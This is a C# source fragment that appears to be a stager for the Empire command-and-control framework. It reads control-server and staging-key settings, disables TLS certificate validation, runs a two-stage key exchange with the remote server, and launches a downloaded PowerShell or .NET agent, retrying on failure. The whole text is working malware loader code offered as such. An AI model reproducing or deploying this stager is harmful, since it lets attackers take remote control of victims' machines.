static void Main(string[] args)
{
#if (COMMAND_LINE)
if (args.Length < 3)
{
return;
}
SessionInfo sessionInfo = new SessionInfo(args);
#endif
#if (COMPILE_TIME)
SessionInfo sessionInfo = new SessionInfo();
#endif
#if (PRINT)
Console.WriteLine("EmpireServer: {0}", sessionInfo.GetControlServers());
Console.WriteLine("StagingKey: {0}", sessionInfo.GetStagingKey());
Console.WriteLine("AgentLanguage: {0}", sessionInfo.GetAgentLanguage());
#endif
(new EmpireStager(sessionInfo)).Execute();
}
////////////////////////////////////////////////////////////////////////////////
public void Execute()
{
byte[] stage1response;
byte[] stage2response;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(
delegate
{
return(true);
}
);
try
{
stage1response = Stage1();
#if (PRINT)
Console.WriteLine("Stage1 Complete");
#endif
try
{
stage2response = Stage2(stage1response);
#if (PRINT)
Console.WriteLine("Stage2 Complete");
#endif
try
{
#if (PRINT)
Console.WriteLine("Launching Empire");
IntPtr handle = Misc.GetConsoleWindow();
Misc.ShowWindow(handle, Misc.SW_HIDE);
#endif
if (sessionInfo.GetAgentLanguage() == "powershell" ||
sessionInfo.GetAgentLanguage() == "ps" ||
sessionInfo.GetAgentLanguage() == "posh")
{
PowershellEmpire(stage2response);
}
else if (sessionInfo.GetAgentLanguage() == "dotnet" ||
sessionInfo.GetAgentLanguage() == "net" ||
sessionInfo.GetAgentLanguage() == "clr")
{
DotNetEmpire();
}
}
catch
{
#if (PRINT)
Console.WriteLine("Empire Failure");
#endif
GC.Collect();
Execute();
}
}
catch
{
#if (PRINT)
Console.WriteLine("Stage2 Failure");
#endif
throw;
}
}
catch (WebException webError)
{
if ((int)((HttpWebResponse)webError.Response).StatusCode == 500)
{
#if (PRINT)
Console.WriteLine("Stage1 Failure");
#endif
GC.Collect();
Execute();
}
else
{
throw;
}
}
catch (Exception error)
{
#if (PRINT)
Console.WriteLine("Stage1 Failure");
#endif
Console.WriteLine(error.ToString());
}
finally
{
sessionInfo = null;
stagingKeyBytes = null;
rsaCrypto = null;
}
}